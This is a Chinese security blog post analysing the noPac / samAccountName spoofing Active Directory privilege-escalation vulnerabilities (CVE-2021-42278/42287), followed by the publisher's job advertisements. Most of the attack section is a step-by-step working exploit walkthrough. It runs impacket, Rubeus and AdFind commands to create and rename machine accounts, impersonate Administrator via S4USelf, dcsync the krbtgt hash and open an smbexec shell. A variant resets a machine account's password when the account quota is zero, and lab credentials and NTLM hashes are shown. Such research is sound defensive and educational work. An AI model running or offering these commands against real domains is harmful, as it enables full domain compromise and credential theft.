STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
事件描述
2021年11月9日,微软发布了11月安全补丁,其中修复了两个域内提权漏洞CVE-2021-42287和CVE-2021-42278
但由于POC并未及时公开,所以并未引起广泛关注
到了2021年12月10日,两个漏洞的利用exp被放出,漏洞被命名为samAccountName Spoofing漏洞,允许攻击者在仅获得一个合法域账号后提权至域管权限
影响范围:所有windows机器
漏洞猜想
为什么会在这里提到漏洞猜想,主要原因是由于当exp放出后在国内引起了比较大的反响,第一时间就有很多公众号及文章发表了针对该漏洞的看法,但是有不少文章只是针对微软放出的补丁进行了“合理”的猜想,并没有去证实并最终导致猜想错误。所以之后也有文章指出,“国内所有的文章所说的原理都是错误的”
回过头来看看为什么会造成这么多误会
这是微软放出的针对cve-2021-42287的补丁说明,在最后一段文字中微软提出为所有TGT票据加入PAC的缓解措施
所以当时有不少作者将漏洞的成因归结到PAC上,类似MS14-068,先通过CVE-2021-42278创建一个名字为DC(不带$)的机器用户,在申请TGT时选择不申请PAC,之后用没PAC的TGT在申请ST时,让TGS误以为当前用户是DC$,就生成一个客户端被识别为域控PAC附在ST中返回了
漏洞逻辑
到目前为止已经有非常多的分析文章,从xp源码入手,从kerberos数据包入手,将整个原理讲的很明白了
控制一个机器账户权限,例如machine$
修改machine$机器用户的samAccountName属性为DC
接着用该用户DC请求一张带有PAC的正常TGT
将该用户samAccountName属性还原
使用该TGT通过S4USelf向KDC请求访问域控cifs等服务的ST(由于S4USelf并未校验当前用户是否有委派协议,所以可以通过S4USelf请求ST;KDC无法在活动目录中找到samAccountName为DC的用户,会去找DC$用户,那么通过S4USelf模拟域管请求DC$是合法的,综上KDC会返回域管访问域控cifs的ST)
结合exp进行分析:
随机生成一个机器用户
连接ldap,获取ms-DS-MachineAccountQuota(MAQ)属性值
获取域控信息
随机选择一个域管权限进行伪造
当MAQ这里为0时,脚本没有直接退出未进行攻击,当MAQ为0时的攻击手法后续会讲到
通过SAMR添加起初随机生成的计算机用户
当计算机用户创建成功后,将该计算机用户的sAMAccountName属性修改为域控的hostname
用这个新用户去申请TGT
之后再将sAMAccountName属性修改回一开始生成的用户名
然后去用该用户通过s4uself中的GETST去为随机域管申请域控cifs服务的ST
最后将该票据导入内存,通过smbexec进行连接
漏洞成因
1.CVE-2021-42278
这个漏洞大家都没有什么异议,正常来说机器用户的用户名以$结尾,但是域控并没有校验sAMAccountName属性,从而导致可以将机器用户的sAMAccountName修改为域控的hostname
2.KDC在无法找到用户时
我们在申请ST时,是模拟域管请求DC,但是在请求ST时我们已经将新增的机器用户的sAMAccountName属性修改会原来的值,导致KDC无法从活动目录找到DC用户。通过泄漏的xp源码可以找到,当KDC找不到DC时,就会去找DC$(这里借用谢公子的图)
3.高权限pac
首先要知道在kerberos认证中,当申请的TGT中不包含PAC,那么TGS也会返回一个无PAC的ST,那么用户在拿着TS去访问服务的时候,服务无法通过PAC信息去和KDC的ACL匹配用户权限,就不会让用户访问资源
当申请的TGT中存在PAC时,KDC会直接将PAC拷贝到ST中,但是PAC在TGT中又是经过签名的,我们无法进行篡改,只能尝试重新生成伪造一个高权限的PAC,有两种场景KDC会生成新的PAC
S4USelf请求,KDC在校验S4USelf请求合法后,会根据S4USelf模拟的用户生成一个该用户的PAC
跨域请求TGS时,TGT中没有携带PAC,KDC也会生成新的PAC
那么在这个漏洞中采取的方法就是通过S4USelf生成新的PAC
漏洞利用
手动分步骤攻击
1.创建机器用户
python3 addcomputer.py -computer-name ”machine$“ -computer-pass “P@ssw0rd” -dc-ip 192.168.159.149 "motoo.nc/klion:[email protected]# 45" -method SAMR -debug
# mac中需将双引号转为单引号
python3 addcomputer.py -computer-name "machine66$" -computer-pass "123456" -dc-ip 192.168.159.149 -domain-netbios motoo.nc "motoo.nc/klion:[email protected]# 45" -debug
# Powermad.ps1
import-module .\Powermad.ps1
$password = ConvertTo-SecureString “123456” -AsPlainText -Force
New-MachineAccount -MachineAccount “machine77$” -Password $($password) -Domain "motoo.nc" -DomainController "motoo-dcsrv.motoo.nc" -Verbose
2.清除机器用户的SPN
python3 addspn.py -u "motoo.nc\klion" -p "[email protected]# 45" -t "machine$" -c 192.168.159.149
python3 addspn.py -u 'motoo.nc\devadm' -p '[email protected]# 45' -t 'motoo-javaweb$' -c 192.168.159.149
3.修改机器用户samAccountName为域控hostname
# 得知域控hostname为motoo-dcsrv
python3 renameMachine.py -current-name "machine$" -new-name "motoo-dcsrv" -dc-ip 192.168.159.149 "motoo.nc/klion:[email protected]# 45"
4.请求motoo-dcsrv的TGT
python3 getTGT.py -dc-ip 192.168.159.149 "motoo.nc/motoo-dcsrv:P@ssw0rd"
# rubues
Rubeus.exe asktgt /user:"motoo-dcsrv" /password:"'P@ssw0rd'" /domain:"motoo.nc" /dc:"motoo-dcsrv.motoo.nc" /nowrap /ptt
5.将机器用户的samAccountName改回来
python3 renameMachine.py -current-name "motoo-dcsrv" -new-name "machine$" "motoo.nc/klion:[email protected]# 45" -dc-ip 192.168.159.149
6.通过S4USelf申请ST,用
https://github.com/SecureAuthCorp/impacket/pull/1260,使用第一版s4uself的pr会出现预认证失败
KRB5CCNAME=/Users/huxuhao/Desktop/motoo-dcsrv.ccache python3 getST_NoPac.py -impersonate Administrator -k -no-pass -dc-ip 192.168.159.149 'motoo.nc/motoo-dcsrv' -alt-service 'cifs/motoo-dcsrv.motoo.nc' -s4u2self -spn motoo-dcsrv -debug
# rubeus
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/motoo-dcsrv.motoo.nc" /dc:"motoo-dcsrv.motoo.nc" /ptt /ticket:
TGT
7.dcsync
export KRB5CCNAME=/Users/huxuhao/Desktop/Administrator@motoo-dcsrv@MOTOO.NC.ccache
python3 secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 192.168.159.149 @motoo-dcsrv.motoo.nc
# smbexec
KRB5CCNAME=/Users/huxuhao/Desktop/Administrator.ccache python3 smbexec.py -target-ip 192.168.159.149 -dc-ip 192.168.159.149 -k -no-pass @'motoo-dcsrv.motoo.nc'
也可以用sam_the_admin一键利用
https://github.com/WazeHell/sam-the-admin
windows下用nopac
https://github.com/cube0x0/noPac
MAQ为0时
我们回顾下这个漏洞,最初的利用条件就是需要存在一个可以添加机器用户的域用户,那么当我们发现域内的MAQ(msDS-MachineAccountQuota)被置为0后,该如何进行利用
可以看到现在域用户无法添加机器用户了
但是域管还是可以添加的
那么此时的思路就是通过拉机器入域的域用户,通过该用户修改域机器的samname后进行利用,在实际攻击中机会遇到两种情况
1.获取域内机器权限
此时要做的就是找到将该机器拉入域的用户
# 查找所有机器用户的 mS-DS-CreatorSID
AdFind.exe -f "&(objectcategory=computer)" mS-DS-CreatorSID
# 查找指定机器用户的Creater-sid
AdFind.exe -f "&(objectcategory=computer)(name=motoo-javaweb)" mS-DS-CreatorSID
# 查询sid对应的域用户
AdFind.exe -sc adsid:S-1-5-21-284927032-1122706408-2778656994-1127 -dn
在定位到域用户后,比如这里在获取motoo-javaweb机器的最高权限后,查询发现是由devadm用户拉入域的,就需要去获取devadm用户权限(用账号密码即可),然后通过该用户权限去重复上面的攻击即可,注意需要先把SPN清除
2.获取域用户权限
此时要做的就是找到当前用户拉入域的域机器
# 找到域机器的sid
AdFind.exe -sc u:devadm objectSid
# 通过mS-DS-CreatorSID定位域机器
AdFind.exe -f "&(objectcategory=computer)(mS-DS-CreatorSID=S-1-5-21-284927032-1122706408-2778656994-1127)" -dn
这里获取到了devadm域用户权限后,发现拉入了两台机器入域,但是在申请tgt的时候需要javaweb的凭据,那么又会出现两种可能
如果我们有javaweb的最高权限,可以直接抓它机器用户的凭据
如果我们没有javaweb的权限,只能通过devadm用户去重置javaweb机器用户的密码
这里以域内机器用户:motoo-iisweb进行实验
首先motoo-iisweb$的ntlm为:
dd19bddf4b6ebb154bd83a00274c5e87
可以看到此时本地和ntds上保留的hash相同
假设现在我们获取到了域用户:motoo\sysadm : [email protected]# 45的权限,且他是motoo-iisweb$的加域用户,那么我们在未能获取到motoo-iisweb$权限且MAQ为0的前提下, 通过sysadm用户重置motoo-iisweb$的密码为123456
python3 resetpasswd.py -user 'motoo-iisweb$' -new-pass '123456' -dc-ip 192.168.159.149 'motoo/sysadm:[email protected]# 45'
python3 secretsdump.py motoo.nc/motoo-dcsrv$\@192.168.159.149 -hashes :4eb31e3732f181443433ed77236523a5 -just-dc-user motoo-iisweb$
此时活动目录上该机器用户的密码已被更改,然后清除该机器用户SPN,这里的SPN需要保存下来,再攻击结束后需要还原
WSMAN/Motoo-IISWeb
WSMAN/Motoo-IISWeb.Motoo.nc
TERMSRV/MOTOO-IISWEB
TERMSRV/Motoo-IISWeb.Motoo.nc
RestrictedKrbHost/MOTOO-IISWEB
HOST/MOTOO-IISWEB
RestrictedKrbHost/Motoo-IISWeb.Motoo.nc
HOST/Motoo-IISWeb.Motoo.nc
python3 addspn.py -u 'motoo.nc\sysadm' -p '[email protected]# 45' -t 'motoo-iisweb$' -c 192.168.159.149
修改机器用户的samAccountName为域控hostname
python3 renameMachine.py -current-name 'motoo-iisweb$' -new-name 'motoo-dcsrv' -dc-ip 192.168.159.149 'motoo.nc/sysadm:[email protected]# 45'
通过机器账户的权限去请求TGT
python3 getTGT.py -dc-ip 192.168.159.149 'motoo.nc/motoo-dcsrv:123456'
将机器用户的samAccountName改回来
python3 renameMachine.py -current-name 'motoo-dcsrv' -new-name 'motoo-iisweb$' 'motoo.nc/sysadm:[email protected]# 45' -dc-ip 192.168.159.149
通过S4USelf申请ST,使用
https://github.com/SecureAuthCorp/impacket/pull/1260
KRB5CCNAME=/Users/huxuhao/Desktop/motoo-dcsrv.ccache python3 getST_NoPac.py -impersonate Administrator -k -no-pass -dc-ip 192.168.159.149 'motoo.nc/motoo-dcsrv' -alt-service 'cifs/motoo-dcsrv.motoo.nc' -s4u2self -spn motoo-dcsrv -debug
dcsync
exportKRB5CCNAME=/Users/huxuhao/Desktop/[email protected]@MOTOO.NC.ccache
python3 secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 192.168.159.149 @motoo-dcsrv.motoo.nc
此时在获取了域管的ntlm:
7c85389bc79a4eb184e620b6e8c37905后,需要去获取motoo-iisweb$机器用户的hash,并将其还原
python3 secretsdump.py motoo.nc/administrator\@192.168.159.154 -hashes :7c85389bc79a4eb184e620b6e8c37905
可以看到这里通过域管权限获取到了motoo-iisweb$机器用户的ntlm为:
dd19bddf4b6ebb154bd83a00274c5e87,和我们实验开始前看到的是一样的
然后通过smbresetpasswd.py去还原hash
python3 smbresetpasswd.py -resetuser motoo-iisweb$ -newhashes :dd19bddf4b6ebb154bd83a00274c5e87 -hashes :7c85389bc79a4eb184e620b6e8c37905 -dc-ip 192.168.159.149 motoo/[email protected]168.159.149
python3 secretsdump.py motoo.nc/motoo-dcsrv$\@192.168.159.149 -hashes :4eb31e3732f181443433ed77236523a5 -just-dc-user motoo-iisweb$
可以看到此时已经将ntlm还原回去了,尝试将motoo-iisweb$注销后重新登录,查看是否存在脱域情况
那么这是因为我们没有把机器账户的SPN进行还原,把之前保存的SPN一条条通过addspn进行还原即可
python3 addspn.py -u 'motoo.nc\sysadm' -p '[email protected]# 45' -t 'motoo-iisweb$' ldap://192.168.159.149 -s HOST/MOTOO-IISWEB
...
再尝试登录,可以正常登录机器账户,攻击结束
修复建议
修复建议:及时安装补丁
补丁地址:
https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041
基本上从原理到利用都讲到了,剩下的细节网上也都有文章分析透彻了。
目前在利用中碰到因为SPN问题(MAQ为0时,还原SPN的问题;及申请ST时,SPN的问题)利用失败的情况,尚未看到有文章提到,大家觉得分析或利用中有任何问题可以随时探讨哈
后续会整一个MAQ为0时的自动化利用,流程其实就是文章分析的这样
RECRUITMENT
招聘启事
安恒雷神众测SRC运营(实习生) 【任职要求】
————————
【职责描述】
1. 负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3. 参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4. 积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。
1. 责任心强,性格活泼,具备良好的人际交往能力;
2. 对网络安全感兴趣,对行业有基本了解;
3. 良好的文案写作能力和活动组织协调能力。
简历投递至
设计师(实习生)
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;
3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至
岗位:红队攻防(正式/实习)
工作地点:杭州/上海
【职位亮点】
1.种类丰富的内部红蓝对抗工具;
2.安全大牛作为技术后盾,带你提升实战攻防能力;
3.参与战略级红蓝对抗项目 (部级、省级、重点行业 等)。
【岗位要求】
1.具备红蓝对抗项目实战经验;
2.具备一定的编程能力,至少掌握一门语言 (C#/C++、Go、Java、Python 等)
3.外网打点/内网横向/域渗透/远控免杀/社工钓鱼/隐蔽持久化 等一个或多个领域有深入的理解;
4.具备良好的沟通和团队协作能力、责任心强、热爱技术、愿意分享;
【加分项】
1.实战型开源项目者优先;
2.具备丰富的实战经验,大型HW经验优先;
3:个人技术博客、优质社区投稿过文章者优先;
简历投递至
anonysec.zhang#dbappsecurity.com.cn (杭州)
ethan.hong#dbappsecurity.com.cn (上海)
微信投递至
AnonySec (杭州)
a0011221100 (上海)
岗位:安全研究(正式/实习)
工作地点:杭州/上海
【职位亮点】
1.漏洞挖掘与研究的时间自由;
2.探索前沿的攻防技术,并在实战中进行实践验证;
3.参与红蓝对抗等高端项目,丰富个人实战攻防经验;
4.与安全大牛一起打造武器化工具落地,赋能一线人员.
【岗位要求】
1.拥有大型产品、CMS、厂商漏洞挖掘案例;
2.具备出色的编程能力,熟练掌握一门语言 (C#/C++、Go、Java、Python 等)
3.深入了解漏洞原理,能够独立挖掘/分析包括但不限于PHP/JAVA/.NET/ASP等大中型应用漏洞;
4.对安全有浓厚兴趣和较强的独立钻研能力,有良好的团队精神、愿意分享;
【加分项】
1.开发过安全相关的开源项目者优先;
2.个人技术博客、优质社区投稿过文章者优先;
3:提交过高质量的CVE、具备0day挖掘能力者优先;
简历投递至
anonysec.zhang#dbappsecurity.com.cn (杭州)
ethan.hong#dbappsecurity.com.cn (上海)
微信投递至
AnonySec (杭州)
a0011221100 (上海)
END
长按识别二维码关注我们